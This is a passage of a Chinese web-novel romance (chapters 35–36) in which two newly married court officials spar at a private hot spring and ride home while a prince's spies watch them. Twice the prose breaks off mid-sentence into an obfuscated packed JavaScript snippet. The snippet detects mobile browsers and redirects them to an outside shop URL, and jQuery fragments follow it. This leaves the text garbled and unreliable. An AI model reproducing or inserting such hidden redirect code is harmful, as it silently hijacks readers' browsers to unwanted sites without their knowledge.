他垂眸看着池子里的人,唇角噙着浅浅的笑意:“我来替夫君擦背。” “不用!” 燕修延想都没想就拒绝,手脚并用地往后退,一直退到池子的另一边,脊背抵着冰冷的池壁,“没见过有人泡温泉还搓背的,我泡够了,要走了,你把我的衣服拿过来。” 谢伟恒倒也不勉强,转身走到一旁的衣架边,拿起燕修延的锦缎里衣和外袍,缓步走回来。 燕修延伸手去接,指尖都快要碰到衣料了。 谢伟恒却突然将衣服往旁边挪了挪,修长的指尖从衣料里捻出两个小巧的白瓷小瓶,瓶身光洁,没有任何字迹,他挑眉,看向燕修延:“这是什么?” 燕修延的手僵在半空,眉头微皱:“不知道。柳岚让我带给你的,说你见了,便知道该怎么用。” 谢伟恒捏起其中一个小瓶,拔开塞子,倒出一滴透明的膏体在掌心,指尖轻轻揉搓,一股清冽的兰香混着淡淡的松针味散开。 他的眼底掠过一丝玩味的笑意,唇角勾起的弧度意味深长:“是发油,梳发时用,顺滑不打结。不过,这东西,也可做它用。” 那笑意太暧昧,那语气太勾人,燕修延只觉得耳根发烫,哪里还管这东西能做什么别的用处,不耐烦地勾勾手:“爱怎么用怎么用,与我无关。废话少说,赶紧把衣服给我。” 他太清楚谢伟恒的性子了,这人看似温和,实则步步紧逼,半点空子都不会留。 如今他赤身泡在池里,若是贸然起身抢衣服,指不定又被这人占了什么便宜,他才不会傻到去冒这个险。 谢伟恒看着他戒备的模样,眼底的笑意更深,将衣服往前递了递,堪堪到燕修延够得到的距离。 就在燕修延的指尖触到衣料的瞬间—— 谢伟恒突然抬手,将衣服狠狠丢回了身后的衣架上,动作快得让燕修延来不及反应。 紧接着,他弯腰,大手精准地攥住燕修延的手腕,力道沉稳,不容挣脱,而后纵身一跃,直接跳进了池子里。 “哗啦——” 巨大的水花炸开,温热的泉水溅了燕修延一脸,连睫毛上都挂着水珠,视线瞬间模糊。 “……谢伟恒,你大爷的!” 燕修延抹了把脸上的水,眼底的怒火几乎要烧起来,声音里带着咬牙切齿的狠戾。 谢伟恒的胸膛因为跳跃的动作微微起伏,他抬手,指尖拂去燕修延脸颊上的水珠,语气淡然,甚至带着几分纵容的笑意:“夫夫之间的情趣罢了,燕大人何必动怒。” 情、趣? 这两个字像是淬了火的针,扎得燕修延的耳膜嗡嗡作响。 他看着眼前的人,从牙缝里挤出两个字,字字冰寒:“下流。” 谢伟恒的指尖停在他的脸颊上,温热的指腹摩挲着他微凉的肌肤,语气低沉,四个字像是浸在温水里的蜜,又像是裹着针的糖,缓缓吐出:“食髓知味。” 燕修延的瞳孔骤缩,心底的火气瞬间窜上头顶,理智却还绷着最后一根弦。 他的视线落在谢伟恒的脖颈处,那是人体的软肋,只要他想,抬手就能重创。 眼下要挣脱,不是没有法子,只是那些法子,每一个都能伤到谢伟恒。 他压着嗓子,声音冷得像冰:“我劝你最好赶紧松手,否则——” “否则什么?” 谢伟恒的话尾轻轻上扬,带着几分玩味的蛊惑。 他微微用力,将燕修延狠狠抵在冰冷的青石池壁上,两人的身子挨得极近,胸膛贴着胸膛,能清晰地感受到彼此的心跳,温热的呼吸交缠在一起,混着水汽,拂在对方的唇角和脖颈。 他的声音被水汽熏得愈发柔和湿润,像是羽毛轻轻搔着心尖,可那温柔的语调里,却藏着丝丝缕缕的、能蛊惑人心的力量,缠得人动弹不得。 “燕大人,是想拿监察司审犯人的那套手段,来对待我么?” 燕修延的喉结剧烈地滚动了一下,心底的那根弦彻底崩断。 没有半分犹豫,他的脑袋猛地往后一仰,再狠狠往前撞去,目标精准,正是谢伟恒的额头。 谢伟恒似是早有预料,偏头避开,额角堪堪擦过燕修延的额头,只留下一点微凉的触感。 就是这一瞬的空隙。 燕修延的身子如一条滑溜溜的泥鳅,借着水的浮力,手腕猛地挣开谢伟恒的桎梏,整个人扎进水里,水花翻涌间,他已经从池子的另一头探出头来。 水珠顺着他的发梢滑落,沾湿了眉眼,他抬手抹了把脸,额前的碎发贴在额角,眼底还燃着未熄的怒火,唇角却勾起一抹灿烂又肆意的笑,眉眼张扬,像极了山野间无拘无束的风,带着几分桀骜,几分挑衅:“昨晚你能得手,不过是沾了那碗松针酒的光。今日没了酒,可就由不得你了。” 这般鲜活,这般肆意,这般桀骜不驯的模样,像一道烈阳,直直撞进谢伟恒的心底,烫得谢伟恒五脏六腑都发麻。 他爱极了燕修延这副模样,爱他眼底的锋芒,爱他骨子里的坚韧,爱他就算身陷囹圄,也不肯低头的傲气。 谢伟恒的唇角缓缓勾起,眼底的笑意浓得快要溢出来,语气里带着几分势在必得的笃定:“是么?” 话音未落,他人已经动了。 身形快得像一道残影,温热的泉水被他的动作搅得翻涌,不过眨眼的功夫,便已经逼近燕修延的身前。 燕修延的眼神一凛,抬手便格住谢伟恒探过来的手腕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646192|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指尖用力,翻手便朝着他的肘弯弹去,力道刚劲,若是打实了,足以让手臂酸麻无力。 同时,他曲起手肘,借着水的浮力,横向朝着谢伟恒的胸膛狠狠撞去。 监察司的功夫,本就是招招狠戾,专攻软肋,讲究的是快、准、狠。 可谢伟恒的身手,竟比他想象中还要敏捷。 堪堪避开他的肘击,大手顺势攥住他的小臂,力道沉稳,燕修延竟挣不脱。 水下,谢伟恒的腿巧妙地探过来,精准地别住他的膝盖,再轻轻一压,燕修延的动作便瞬间僵住。 他试着动了动胳膊,又挣了挣腿,心底的震惊翻江倒海。 论近身缠斗的技巧,他自认不输任何人,可论实打实的力气,谢伟恒竟隐隐要稍胜一筹。 没有松针酒的迷醉,没有神志不清的软弱,他竟还是撼动不了这个人半分。 燕修延的眼底满是难以置信,脱口而出:“不是,你这皮肤白得跟拔了毛的鸡似的,细皮嫩肉的,怎么力气能这么大?” 谢伟恒低笑出声,胸腔的震动透过相贴的肌肤传过来,带着温热的触感。 他的指尖摩挲着燕修延的小臂,语气温和,眼底却藏着化不开的宠溺:“皮肤白,是随了我母亲,天生的底子,晒不黑。倒是你的肤色,我更喜欢。” 这话轻飘飘的,落在燕修延的耳朵里,却像是一道惊雷。 他琢磨了半晌,后知后觉地反应过来——这混账说的后半句,竟是句彻头彻尾的荤话。 脸颊的温度瞬间飙升,燕修延用力挣了挣胳膊,语气硬邦邦的:“你先放开我。” 谢伟恒却轻轻摇了摇头,指尖的力道非但没松,反而攥得更紧了些,水下的腿依旧别着他的膝盖,半点都不肯退让:“放了你,你又要跑。” 燕修延翻了个大大的白眼,语气里满是嘲讽:“我衣服在那架子上,如今又被你堵在这池子角落,前不着岸后不着边的,我能跑去哪?难不成还能化作水汽飘走不成?” 谢伟恒的眼底掠过一丝犹豫,却也清楚,燕修延这话,倒是不假。 他沉默了片刻,缓缓松开了攥着燕修延手臂的手。 只是水下的腿,依旧稳稳地别着他的,没有半分挪动。 燕修延眯起眼睛,眼底闪过一丝狡黠,语气带着几分戏谑:“怎滴?谢大人这般不信任我?” 谢伟恒太了解燕修延的性子了。 这人看着桀骜,实则最是会审时度势,只要给他半点空隙,他便能顺杆爬,眨眼间就溜得无影无踪。 可看着他眼底的坦荡,听着他语气里的质问,心底的那点防备,竟还是松了几分。 “信。” 他低声道,眉眼温和,“我自是信你的。” 话音落,谢伟恒缓缓后退了两步,水下的腿也终于收了回去,彻底给了燕修延自由。 不过眨眼的功夫。 燕修延的眼底闪过一丝得逞的笑意,身体像是离弦的箭,借着水的浮力,猛地纵身一跃,直接跳出了池子。 水花还在池里翻涌,他已经稳稳地落在了池边的青石地上,伸手抓起架子上的素白浴衣,胡乱地披在身上,动作快得让人眼花缭乱。 浴衣的系带松松垮垮地系着,露出一截蜜色的胸膛。 他却毫不在意,反手抓起架子上谢伟恒的那身玄色外袍,指尖捏着衣料,眼底的笑意狡黠又恶劣,像是偷到了糖的顽童:“谢大人,我瞧着你这衣服,像是沾了些尘土,倒不如,我替你放池子里好好洗洗?” 说着,他便作势要把衣服往池子里丢。 谢伟恒站在池子里,温热的泉水漫到腰腹,被水打湿的墨发黏在脸颊两侧,几缕碎发垂在额前,遮住了眼底的情绪。 他微微垂着眼,长长的睫毛在眼下投出一小片阴影,薄唇轻轻抿着,周身的气息瞬间沉了下来,连带着语气都低了几分,带着一丝不易察觉的委屈:“燕大人,倒是挺会骗人的。” 一句话,让燕修延捏着衣服的手猛地僵住。 指尖的衣料还带着阳光的温度,可他的心底,却突然冒出一股说不清道不明的滋味。 怎么回事? 刚才明明是谢伟恒步步紧逼,又是脱衣服又是跳池子,又是搂腰又是抵墙,从头到尾都是这人在调戏他,占他的便宜,怎么现在,反倒像是他欺负了这人似的? 这副模样,低垂着眼帘,抿着唇,脸色淡淡的,愣是从那副温润的眉眼间,透出几分倔强的、委屈巴巴的模样,像极了受了气的小媳妇,可怜兮兮的。 燕修延的嘴角抽了抽,底气瞬间弱了半截,却还是梗着脖子,硬着头皮反驳:“你少来这套!方才你假装递衣服给我,反手就把衣服丢了,还拉着我跳池子,占尽了我的便宜,我都没说你骗人,你倒先委屈上了?” 谢伟恒缓缓抬起头,眼底像是盛着一池温水,波澜不惊,却又带着几分执拗的认真,他看着燕修延,一字一句,清晰无比:“你说我不信任你,我信了。我松开了你,可你,却骗了我。” 燕修延的食指无意识地挠了挠脸颊,指尖蹭过温热的皮肤,心底竟真的冒出几分心虚。 平心而论,谢伟恒这话,倒是没错。 是他说人家不信任他,是人家松了手给了他自由,是他转头就跳池子跑了,还拿着人家的衣服威胁要洗。 这么算下来,好像确实是他理亏。 理亏就理亏。 “兵不厌诈,是谢大人自己警惕性太差,识人不清,这可不能怪我。” 谢伟恒看着他这副嘴硬的模样,眼底的委屈渐渐散去,取而代之的是一抹深沉的笑意,他微微倾身,手肘撑在池边,墨发湿漉漉地贴在肩头,声音低沉又温柔:“我为何,要警惕你?” 一句话,轻飘飘的,却像是一颗石子,投进燕修延的心湖,漾开一圈又一圈,久久不散的涟漪。 35. 他的腰承受不住这般委屈! 燕修延险些被他这话绕进死胡同,喉间闷笑一声,挑眉睨着人,语气带着几分咬牙切齿的无奈:“你不用警惕我,可我总得警惕着你!” 废话,他才是那个被这人揣着心思、步步惦记的倒霉蛋,好不好? 谢伟恒就着池水里的暖意,微微仰头看他。 水光浸着他的眼睫,晕开一层温润的湿意,那张素来清隽沉稳的脸,沾了水汽便添了几分柔和的艳色。 他抬手,指尖堪堪够到池边的衣衫,声音轻而缓,带着几分近乎恳求的软意:“那,把衣服递给我,别丢进水里,成么?” 燕修延看着他这副模样,喉间的笑意更甚,眼底翻涌着狡黠的坏心思,故意拖长了调子:“这事儿啊,我得好好掂量掂量。” 今日是响晴的天,日头暖融融的晒着,风都是温的,就算谢伟恒裹着湿衣回去,也断然不会着凉。 可会丢脸。 不出明日,整个京城的茶楼酒肆,怕都要传遍了—— 当朝谢侍郎不知何故,形容狼狈、衣衫半湿的从芙蓉池私汤出来,那副落魄模样,指不定要被人嚼多少舌根。 谢伟恒何等通透,一眼便看穿了他的盘算。 抬手的动作依旧没放,指尖悬在半空,连指尖的水珠都凝住了,唯有那双眸子,一点点沉下去,褪去了方才的温润,覆上一层淡淡的落寞。 那落寞不是装的,是从眼底漫出来的,像池面漾开的细微波纹,轻,却又扎眼。 就在他指尖微蜷,要收回手的那一刻,一件宽大的素色浴衣带着干爽的棉布气息,劈头盖脸的砸了过来,堪堪落在他肩头。 燕修延别开脸,不再看他眼底的那点落寞,转身走到另一侧的石案旁,拿起干净的布巾,胡乱的擦着湿发和脊背,动作利落的换着衣裳,脊背绷得笔直,连一丝余光都不肯再分给池中的人。 “你怎么来的?难不成,你一路跟踪我?” 谢伟恒的视线凝在他宽阔的背脊上,那道线条流畅而紧实,是常年习武之人独有的硬朗轮廓,只是腰侧那处,抬手系衣带时,动作似乎隐隐滞涩了一瞬。 可惜,燕修延穿衣服的速度太快,快到他连半分端倪都没看清,那人便已经收拾妥当。 谢伟恒撑着池沿,骨节分明的手指扣着冰凉的青石,缓缓跨出池子,浴衣的布料裹住微凉的肌肤。 谢伟恒擦着头发,侧过脸,唇角勾着漫不经心的笑:“我记得你偏爱吃酒仙茶苑的糖蒸酥酪,方才到了茶苑门口,正好瞧见你雇了辆马车,径直往芙蓉池的方向来。” 燕修延抬手用力系紧腰间的玉带,勒出劲瘦的腰线,转过身时,脚下下意识的往后退了半步。 与谢伟恒之间隔着三步的距离,那距离拿捏得极好,不远不近,恰好是他但凡察觉不对,便能拔腿就跑的安全范围。 “所以,你就是跟踪我。” 燕修延的语气没有起伏,却字字笃定。 谢伟恒的脸色倏地垮了几分,那点痞气里掺了委屈,连声音都沉了些:“昨日才拜堂成亲,今日一早,你就把我一个人丢在空荡荡的院子里。 我揣着心思,想着买点你爱吃的东西回来讨你欢心,结果倒好,你倒一个人跑来芙蓉池泡温泉,潇潇洒洒的享清福。” 这话半真半假,委屈却是实打实的。 谢伟恒没有否认,也没有辩解,只是抬步,缓缓朝他走近了一步。 一步而已,却像是踏碎了两人之间所有的疏离。 他的声音低了,柔了,像浸了温泉水的暖意,却又裹着化不开的缱绻与酸涩:“我只是想离你近一些,可你呢?燕修延,你避我,如避蛇蝎。” 轻飘飘一句话,愣是把他燕修延,说成了那始乱终弃、薄情寡义的负心汉。 燕修延的太阳穴突突的跳,抬手揉了揉自己的腰侧,那处的酸困与滞涩,是折腾下来最真切的烙印。 心底刚冒出来的那点恻隐之心,被他狠狠掐灭,丢到九霄云外去了。 他扯着唇角,扯出一抹皮笑肉不笑的弧度,眼底淬着点咬牙的火气,语气直白又狠戾:“谢伟恒,你心里好歹有点数,成不? 我为什么避你如蛇蝎,你自己心里没点谱?” 特么的!他昨个儿晚上,几乎是一夜没阖眼! 那点滋味,是爽,可爽过之后,就是腰要断了的酸痛。 这谢伟恒看着斯斯文文,骨子里的劲儿大得吓人,他算是彻底领教了。 总结下来就一个道理:离谢伟恒远点儿,不然,他这老腰迟早要受不住这份委屈。 谢伟恒看着他眼底的那点恼羞成怒,眼底掠过一丝极淡的笑意,快得像风拂过水面。 他当着燕修延的面,慢条斯理的换好衣衫,动作从容不迫,连指尖的动作都优雅得恰到好处,半点狼狈都无。 换好衣后,他弯腰,捡起池边两个精致的白瓷小瓶,小心翼翼的收进袖袋里,妥帖得很。 做完这一切,他才抬眸,目光落在燕修延依旧泛着红的腰侧,声音低沉,带着几分蛊惑的沙哑:“昨夜是我情难自禁,委屈了你。你若觉得吃亏,今日,尽可以向我讨回来。” 讨?讨回来? 燕修延的脑子嗡的一声,差点当场炸毛。 怎么讨? 难不成让他把谢伟恒按在这温泉池里,也折腾他一整夜? 先不说他有没有这份耐心和体力,单是想想那几百万两的嫖资—— 他就付不起!这谢侍郎的身子,金贵得很,他可消受不起。 燕修延深吸一口气,强行压下心头的燥热与荒唐,摆了摆手,语气敷衍又带着几分警告:“你以后老老实实的,别再耍这些心思,就够了。” 谢伟恒看着他这副油盐不进的模样,眼底掠过一丝淡淡的遗憾。 也罢,终究是来日方长。 他不急,总能磨软这只浑身是刺的燕豹子。 两人正要往门口走,燕修延却突然伸手,拦住了谢伟恒的去路,眉头皱得紧,语气带着几分郑重:“我先走,你在这里等一炷香的功夫,再跟上来。” 他们若是一前一后、并肩从这芙蓉池的私汤里走出去,叫人看见了,那流言蜚语,能把他们俩淹了。 什么死对头成亲,由恨生爱,共赴私汤温存。 什么燕大人芙蓉池私会美人,谢大人黑脸捉奸,醋意大发。 更甚者,怕是要传出燕大人新婚第二日便遁逃,谢大人痴心一片,奔走追夫的戏码。 京城百姓的传谣功夫,那是一日更比一日精进,他监察司的传讹官,功不可没。 燕修延这会儿算是真切体会到了,什么叫做搬起石头砸自己的脚—— 当初是他带头传别人的闲话,如今轮到自己头上,才知道这滋味有多磨人。 他话音刚落,就见谢伟恒的脸色倏地沉了下去,眼底的那点温润尽数褪去,只剩下化不开的落寞,连唇线都绷得紧了。 燕修延心头咯噔一下,没好气的开口:“……你这又是摆的什么脸色?不过是分开走一会儿,怎么又委屈上了?!” 谢伟恒没有看他,只是缓缓转过身,背对着燕修延,脊背挺得笔直,却透着一股子孤冷的执拗,声音淡得像水:“燕大人何须管我,只管走便是。” 这是,真委屈上了? 燕修延绕到他面前,仔细打量着他的脸色。 眼底的落寞,唇角的紧绷,连指尖都微微蜷着,那点情绪,不是装的,是实打实的难过。 燕修延的心头,莫名的软了一瞬,语气也放柔了几分,耐着性子解释:“你可想清楚了,我们若是一起出去,叫人撞见了,那些流言蜚语传起来,可就没边了,到时候,你我脸上都不好看。” “我不管别人怎么传。” 谢伟恒猛地抬眸,目光直直的撞进燕修延的眼底,那眸子深处,是化不开的认真与执拗,还有一丝燕修延看不懂的滚烫:“我问你,燕修延,你在意么?” 燕修延的心头,狠狠的颤了一下。 他当然不在意别人怎么说。 他这辈子,刀尖上舔血,朝堂上站队,什么样的闲话没听过?旁人的嘴,管不住,也懒得管。 他真正在意的,不过是那些流言蜚语里,他和谢伟恒的身份。 是他燕修延做了谢家的夫郎,还是谢伟恒成了他燕修延的娇夫? 这脸面,他丢不起。 当然,这些心思,燕修延打死也不会说出口。 他看着谢伟恒眼底的那点执拗,终究是败下阵来,抬手揉了揉眉心,语气妥协又带着几分不耐烦:“好啦好啦,矫情什么,一起走就是了。” 两人并肩往外走,脚下踩着青石板路,一路无话,却也不算尴尬。 走了没几步,燕修延却突然停下脚步,眉头紧锁,狐疑的环顾四周。 方才他来的时候,芙蓉池外头还有不少来往的客人,人声鼎沸,笑语晏晏。 怎么这会儿,竟安静得连根针掉在地上都能听见?连半个人影都瞧不见。 谢伟恒像是看穿了他的疑惑,淡淡开口,语气云淡风轻,仿佛只是说了件微不足道的小事:“前日,谢伯已经把这整座芙蓉池,都买下来了。方才你进来之前,我已经让人清了场。” 燕修延的眼睛倏地瞪大,当即伸手,摊在他面前,理直气壮:“不早说!那我方才付的汤钱,还我!” 早知道这池子是谢家的,是免费的,他还费那银子做什么? 可转念一想,免费的温泉,不泡白不泡。 燕修延这辈子,没什么别的爱好,喝酒,练剑,再就是泡温泉,这三样,是刻进骨子里的喜欢。 谢伟恒也不啰嗦,解下腰间系着的青缎荷包,二话不说,便放进了燕修延的掌心。 荷包入手,沉甸甸的,里头的银钱不少。 燕修延捏着荷包,指尖摩挲着细腻的缎面,随手从里面摸出一个小小的银裸子,掂量了一下,刚好是方才付的汤钱。 剩下的,他原封不动的塞回去,递还给谢伟恒。 谢伟恒却没有伸手接,只是垂眸看着他掌心的荷包,眼底带着几分温柔的笑意:“我的钱,给你管着,便是了。” 燕修延捏着荷包,挑眉看他,语气里带着几分戏谑的试探:“你就不怕,我把你这身家,都给管没了?” 谢伟恒的目光落在他脸上,认真而笃定,声音轻缓,却字字入心:“若是真的管没了,那也只能怪我没用,赚的银子,还不够让你随心挥霍。” 一句话,说得坦荡,说得温柔,说得燕修延心头那点别扭的心思,瞬间烟消云散。 他捏着荷包,没再推拒,只是耳根悄悄的泛了点红,嘴上依旧硬气:“算你识相。” 两人走到马车旁,谢伟恒俯身,从马车上取下一个木质的马凳,稳稳的放在地上,位置恰好对着马车的踏板。 燕修延的脚步倏地顿住,看着那马凳,脸色瞬间沉了下来,语气带着几分不爽的质问:“谢伟恒,你看我像是需要这东西的人?” 他燕修延是什么人? 纵马驰骋,飞檐走壁,别说一个小小的马车踏板,就算是三丈高的墙头,他也能一跃而上,何曾用过这等矫情的东西? 谢伟恒看着他绷紧的脊背,还有腰侧那处隐隐的不自在,声音放得极柔,语气里带着几分心疼的纵容:“周遭无人,不必在我面前逞强。” 燕修延斜睨了他一眼,余光扫过一旁垂首而立的谢小厮,心里冷哼一声。 谢小厮不是人? 更何况,他的五感素来敏锐,方才一路走来,便察觉到,那棵枝繁叶茂的梧桐树后,还藏着两个人。 那两人的气息,从他踏出谢府的那一刻起,就一直不远不近的跟着,从未断过。 不用想也知道,定是朝中那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646193|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些有心人,派来盯梢的。 谢伟恒似是也察觉到了什么,上前一步,温热的掌心,猝不及防的握住了燕修延的手腕。 他的指尖微凉,掌心却带着暖意,力道不大,却足够将人牢牢的攥住。 他微微俯身,凑到燕修延的耳边,声音压得极低,只有两人能听见:“先上车,别节外生枝。” 温热的气息拂过耳廓,带着淡淡的茶香,燕修延的耳根又是一阵发烫,他勉强点了点头,不再执拗,抬脚踩上了马凳。 就在他借力要往上跃的那一刻,腰侧突然传来一股恰到好处的托力。 谢伟恒的掌心贴在他的腰后,轻轻一托,那股因牵扯而带来的酸困与滞涩,瞬间便缓解了大半。 燕修延的心头一颤,面上依旧冷硬,却没再推开他的手。 他坐进马车里,刚坐稳,就听见谢伟恒对着外面的谢小厮,沉声吩咐道:“路上尽量走得稳当些,慢些无妨。燕大人身上受了伤,经不起半点颠簸。” 谢小厮连忙躬身应下,声音响亮,带着几分雀跃的恭敬:“放心吧少爷!小的保证,绝不会颠到少夫人!” 少夫人! 三个字,像一道惊雷,在燕修延的耳边炸开。 他的脸色瞬间黑如锅底,额角的青筋突突的跳,咬牙切齿的看向刚要上车的谢伟恒,语气里的火气几乎要溢出来: “谢伟恒!你方才那句话,算不算有歧义,你自己心里清楚!还有,谢小厮的皮,是不是该松松了?!” “我说的话,本就没什么歧义。旁人怎么听,怎么想,那是他们的事,与我无关。” 他说着,弯腰坐进马车里,放下车帘,将外头的一切都隔绝在外。 车厢里瞬间安静下来,只剩下两人浅浅的呼吸声。 他看着燕修延依旧黑着的脸,语气放柔,带着几分商量的意味:“那,我让小厮往后都叫你姑爷,可行?” 燕修延的脸色,这才稍稍缓和了几分,冷哼一声,语气依旧别扭,却终究是松了口:“凑合吧。” 马车缓缓驶动,车轮碾过青石板路,果然如谢小厮所言,稳得很,半点颠簸都无。 而另一边,芙蓉池外的梧桐树下,那两个一直躲着的人影,缓缓探出头来,目送着马车消失在巷口,才转身,快步朝着另一个方向走去,径直回了晋王府,将方才所见所闻,一字不差的禀报给了晋王。 “王爷,燕修延他……好像是真的受了伤。” 晋王坐在软榻上,指尖摩挲着手中的木质手串,手串被盘得油光水滑,映着他眼底沉沉的暗光。 他闻言,挑了挑眉,语气带着几分玩味的疑惑:“燕修延受伤了?” “回王爷,是谢伟恒亲口对他的小厮说的。只是小的跟了燕修延整整一日,从头至尾,都没看出他有半分受伤的迹象,步履稳健,身手依旧利落。” 晋王闻言,摆了摆手,语气淡漠:“知道了,你退下吧。” 那探子躬身行礼,悄无声息的退了出去。 待殿内只剩下两人,屏风后,一道修长的身影缓缓走了出来。 季乐允身着素色长衫,面容温文,对着晋王恭敬的行了一礼:“王爷。” 晋王抬眸看他,指尖依旧摩挲着手串,语气带着几分沉吟:“你觉得,谢伟恒那句话,有几分可信?” 季乐允垂眸沉思片刻,眉头微蹙,语气中肯:“回王爷,依我看,怕是一半一半。” 自上次那件事之后,他对谢伟恒的话,便多了几分提防,不敢再全然相信。 更何况,那日谢伟恒成亲,谢允烽夫妇二人在喜堂上的态度,太过反常,那点疏离与隐忍,绝非寻常人家的翁媳之情,他始终觉得,此事定然另有隐情。 “谢家这棵大树,怕是已经选好了要倚靠的人,站好了队。” 晋王闻言,却是轻笑一声,语气里带着几分不以为然的笃定:“本王倒是觉得,谢伟恒的话,可信。” 谢伟恒一介文臣,半点武功都不会,又怎会察觉有人暗中跟踪? 谢家的人,个个都是榆木疙瘩,心思直,没什么城府,谢伟恒说的那些话,做的那些事,应当都是实话。” 燕修延受伤,这对他而言,无疑是天大的好事。 季乐允看着晋王这副刚愎自用的模样,心头不由得涌上几分急虑。 晋王素来如此,认定的事情,旁人说什么都听不进去,只信自己的判断。 “王爷,谢伟恒此人,心思深沉,城府极深,我们还是应当多加防备才是。” 晋王的脸色,倏地沉了几分,眼底掠过一丝不快,语气也冷了下来:“防备?本王觉得,我们该做的,是拉拢。 当今圣上,硬生生将燕修延这头猛虎推到他身边,谢伟恒心里,定然是万般不愿的。 本王可以给他承诺,只要他肯归顺于我,待本王他日登基,便下一道圣旨,让燕修延从谢家下堂,还他自由。” 在他看来,当今的圣上,不过是个运气好的蠢货,不过是得了几位老将军的支持,才坐稳了帝王之位。 可运气这东西,从来都不会一直眷顾一个人。 谢伟恒何等聪明,谢家又是百年世家,定然不会蠢到去站一个前途未卜的太子的队。 季乐允看着晋王眼底的笃定与自负,心头的焦虑更甚,却也知道,自己再多说,也只是徒增反感。 他张了张嘴,终究只是低声唤了一句:“王爷……” 晋王一挥手,打断了他的话,语气带着几分不容置疑的强硬:“好了,不必多说。继续派人盯紧燕修延,若是他真的受了伤,那便是天助我也。只要燕修延倒了,谢伟恒那边,便不足为惧。” 殿内的光线,渐渐暗了下来,晋王指尖的手串,泛着冷硬的光泽,眼底的算计,如同沉在水底的寒石,深不见底。 而马车里的两人,对此一无所知。 36. 你到底扮演着怎样的角色? 燕修延懒洋洋地斜倚在车厢软枕上,背脊陷进厚密的锦缎软垫里,指尖有一搭没一搭地叩着膝头。 车壁缝里漏进的风带着市井的喧嚣,他却只觉这软轿舒服得过分—— 过分到让他忍不住磨牙,这些本该是谢伟恒欠他的。 若不是那厮成亲前夜使诈,他燕修延何曾需要这般“娇养”? 冷不丁对上谢伟恒含笑的眼,燕修延皱了皱眉,刚要开口呛声,却见对方抬手掀开了车帘。 春风卷着街旁茶苑的甜香漫进来,谢伟恒的声音温温软软,像浸了蜜的糖蒸酥酪:“酒仙茶苑的蟹粉酥和糖蒸酥酪,吃么?” 燕修延几乎是下意识地应了声“吃”,话出口才懊恼地抿紧唇。 谢伟恒却似未察觉他的别扭,只扬声吩咐车夫:“小厮,靠边停一下。” 车帘落下,隔绝了谢伟恒的身影。 燕修延指尖的叩击陡然加快,目光落在车窗外那抹青衫上,心里莫名烦躁。 谢伟恒总是这样,清楚他爱吃的每一样点心,清楚他喝不惯太烈的酒—— 就连他自己都快忘了的小习惯,谢伟恒都记得分毫不差。 就像那日他随口提了句芙蓉池的水榭视野好,没过几日,就听说那处水榭被谢伟恒重金买下。 燕修延嗤笑一声,指尖捻了捻腰间的玉佩。 没想到他燕修延有一天会成为蓝颜祸水! 不过片刻,车帘被重新掀开,谢伟恒捧着两个油纸包弯腰进来,衣摆扫过燕修延的靴面。 燕修延毫不客气地伸手夺过,指尖触到微凉的油纸,迫不及待地打开。 蟹粉酥的鲜混着糖蒸酥酪的甜扑面而来,他捏起一块就往嘴里送,连眼皮都没抬一下,全然不问谢伟恒要不要吃。 谢伟恒也不恼,就坐在对面的软凳上,手肘撑着膝头,目光定定地落在他脸上。 那目光太沉,像结了冰的湖水,却又藏着化不开的暖意,烫得燕修延脸颊微热。 他硬着头皮啃完半块蟹粉酥,余光瞥见谢伟恒嘴角那抹淡得几乎看不见的笑意,心头莫名一慌,捏着剩下半块糕点的手顿了顿。 “你要吃?” 话出口,燕修延就想抽自己。 什么叫“你要吃”?要吃不会自己拿吗? 谢伟恒却像是没听出他话里的别扭,微微倾身,咬住糕点。 燕修延只觉眼前人影一晃,下一秒,温热的唇瓣便轻轻含住了他的指尖。 那触感来得猝不及防,软而韧,带着淡淡的茶香气。 燕修延浑身一僵,像被烫到一般猛地缩回手。 他抓起一旁的锦帕擦了擦指尖,嘴里却恶声恶气地骂道:“谢伟恒你没长手啊?那手要是摆设,不如剁了干净!” 谢伟恒却仿佛没听见他的怒声,舌尖轻轻舔了舔唇角,声音低哑得像是浸了酒:“口感很好。” 他的目光缓缓下移,落在燕修延的嘴角。 那里沾了一点糕点的碎渣,像颗细小的珍珠,在暮色里闪着光。 燕修延瞬间察觉到他的意图,抬手就往嘴角蹭,动作快得像一阵风。 指尖擦过唇角的触感让他心头一跳,他抬眼瞪向谢伟恒,眼里满是挑衅—— 想占他便宜?做梦! 他猛地起身,坐到谢伟恒对面的软凳上,刻意拉开两人之间的距离,还不忘把剩下的糕点拢到自己怀里,像只护食的猫儿:“你就看着吧,再怎么看,我也不会再给你吃了。” 谢伟恒低低地笑出声,声音里的笑意几乎要溢出来:“燕大人这般小气的?” “哪里哪里。” 燕修延扯了扯嘴角,皮笑肉不笑,指尖却死死攥着油纸包,“比不上谢大人鸡贼又好色。” 这话一出,连前头赶车的谢小厮都手一抖,手里的鞭子差点甩到自己身上。 他家少爷? 好色? 燕修延怕不是吃错了药? 谢小厮惊得魂不守舍,连路口都看岔了,硬是绕了条远路,才磕磕绊绊地回到谢府。 回到谢府时,两个油纸包早已空空如也。 除了谢伟恒咬过的那半块,剩下的点心全进了燕修延的肚子。 他拍了拍圆滚滚的肚子,意犹未尽地咂咂嘴:“也就吃了个三分饱。” 